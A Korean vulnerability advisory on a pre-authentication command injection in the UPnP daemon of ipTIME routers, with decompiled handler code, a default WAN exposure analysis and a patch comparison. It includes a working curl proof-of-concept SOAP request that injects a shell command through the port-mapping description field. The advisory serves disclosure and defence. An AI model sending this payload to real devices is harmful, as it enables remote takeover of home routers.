[하루한줄] KVE-2026-XXXX: ipTIME 공유기의 OS Command Injection으로 인한 Pre-Auth RCE 취약점
URL
Target
- 제품: 다수의 ipTIME 제품군 (AX2004M, AX2004T 등)
- 바이너리:
/bin/upnpd - 영향 버전:
<= 15.30.8 - 패치 버전:
15.31.6
Explain
취약점은 upnpd 의 SOAP AddPortMapping 핸들러(handle_AddPortMapping, 0x0040649c) 안에 있다.
SOAP XML 에서 추출한 NewProtocol 과 NewPortMappingDescription 값이 snprintf() 의 %s 자리에 sanitize 없이 들어가고, 조립된 문자열이 그대로 system() 으로 실행된다.
// handle_AddPortMapping (0x0040649c)
proto = get_soap_arg(auStack_78, "NewProtocol"); // 사용자 입력 1
desc = get_soap_arg(auStack_78, "NewPortMappingDescription"); // 사용자 입력 2
...
snprintf(cmd, 0x100,
"notify upnp/relay/add '{proto:%Q,port:%s,desc:%Q}' '%s' %hu '%s'",
proto, portnum, desc);
system(cmd);
ipTIME 에서 UPnP 기능은 default 활성화 기능이다. 또한 UPnP 가 켜져 있으면 plugin_upnp.so 가 WAN iptables 에 input_wan1:ACCEPT 규칙을 삽입하고, 탑재된 miniupnpd.conf 도 secure_mode=no 와 allow 0-65535 0.0.0.0/0 0-65535 로 설정되어 있어, LAN 뿐 아니라 WAN 에서도 비인증으로 도달 가능하다.
PoC
TARGET=ip ; PORT=port
curl -s -X POST "<http://$TARGET>:$PORT/ctl/IPConn" \\
-H 'Content-Type: text/xml; charset="utf-8"' \\
-H 'SOAPAction: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"' \\
-d '<?xml version="1.0"?>
<s:Envelope xmlns:s="<http://schemas.xmlsoap.org/soap/envelope/>">
<s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
<NewRemoteHost/><NewExternalPort>31337</NewExternalPort>
<NewProtocol>TCP</NewProtocol>
<NewInternalPort>31337</NewInternalPort>
<NewInternalClient>192.168.0.100</NewInternalClient>
<NewEnabled>1</NewEnabled>
<NewPortMappingDescription>'"'"';id>/tmp/pwned;'"'"'</NewPortMappingDescription>
<NewLeaseDuration>0</NewLeaseDuration>
</u:AddPortMapping></s:Body></s:Envelope>'
Patch
15.31.6 에서는 handle_AddPortMapping 이 shell 명령을 문자열로 만들지 않는다. run_notify_argv (0x00405644) 가 fork() 후 execvp(argv) 로 notify 를 호출하고, 공격자 입력은 argv 인자로 전달되므로 shell 을 거치지 않는다.
// run_notify_argv (0x00405644): fork + execvp
argv = {
"notify",
"upnp/relay/add",
"{proto:%Q,port:%s,desc:%Q}",
proto, // NewProtocol
desc, // NewPortMappingDescription
portstr,
NULL,
};
execvp("notify", argv);
이후 경로(notify -> notify_service_v -> servd-forward JSON IPC -> plugin_upnp -> _run_cmd -> vfork+execvp("upnpc", argv)) 역시 전부 argv 기반으로 바뀌어서, 기존의 system(shell_string) 호출 지점이 사라졌다.
Reference
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.